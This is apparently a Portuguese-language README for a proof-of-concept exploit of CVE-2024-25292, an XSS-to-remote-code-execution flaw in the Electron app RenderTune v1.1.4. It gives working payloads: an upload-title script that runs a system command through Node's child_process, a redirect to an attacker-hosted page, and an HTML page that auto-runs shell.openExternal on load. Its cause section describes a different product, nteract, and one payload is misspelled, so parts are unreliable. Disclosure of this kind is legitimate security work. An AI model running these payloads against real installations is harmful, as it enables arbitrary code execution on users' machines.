RenderTune RCE

Uma prova de conceito para a vulnerabilidade CVE-2024-25292.

Uma vulnerabilidade de cross-site scripting (XSS) no RenderTune v1.1.4 permite que atacantes executem scripts web arbitrários ou HTML por meio de um payload criado injetado no parâmetro Upload Title. Neste repositório há um exemplo de aplicação vulnerável e uma exploração de prova de conceito (POC) dela.

Como PoC, há um arquivo Python que automatiza o processo.

1. Visão Geral da Vulnerabilidade:

É uma vulnerabilidade que permite RCE por meio de XSS. Existe uma parte do título capaz de XSS, portanto é uma vulnerabilidade que permite RCE por meio da sintaxe do NodeJS através da sintaxe do XSS.

2. Causa da Vulnerabilidade:

nteract 0.28.0 permite webview do Electron via link Markdown, com execução remota de código resultante (porque nodeIntegration em webPreferences é true).
Explicação do exploit
- Ao gerar links via MarkDown dentro do aplicativo, ele cria um WebView por meio do Electron, permitindo acesso externo ao link. Consequentemente, um atacante pode obter Execução Remota de Código (RCE) ao conectar-se ao link que leva ao servidor do atacante.

Prova de conceito (POC)

Caso 1) XSS para RCE.

Passo 1) Confirme que o XSS ocorre na parte do título ※ Neste momento, o item Upload não será registrado a menos que a imagem esteja anexada.

<b>jruru</b>

Passo 2) Portanto, ele é configurado para usar XSS para executar comandos de sistema do NodeJS.

<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>

Caso 2) Ataques por meio de um servidor do atacante

※ Ao tentar um ataque usando window.location, você vai automaticamente para a página que definiu sempre que executa o aplicativo.

<script>window.loaction='http://[attacker IP]/[PoC.html]'</script>

Nota: ※ Se quiser testar rapidamente, crie um servidor no PC do atacante com o seguinte código.

$ python -m http.server 80

Código PoC

<html>
<head>
  <title>jruru Link</title>
</head>
<body>

  <!-- Run scripts using on-click properties directly to the tag -->
  <a id="jruruLink" href="#" onclick="openExternal()">jruru Link</a>

  <script>
    // Script function definition
    function openExternal() {
      try {
        const { shell } = require('electron');
        shell.openExternal('file:C:/Windows/System32/calc.exe');
      } catch(e) {
        alert('JRURU');
        alert(e);
      }
    }

    // Run script automatically when loading pages
    document.addEventListener('DOMContentLoaded', function() {
      openExternal();
    });
  </script>
</body>
</html>

renderTune3

CVE-2024-25292

Mais Populares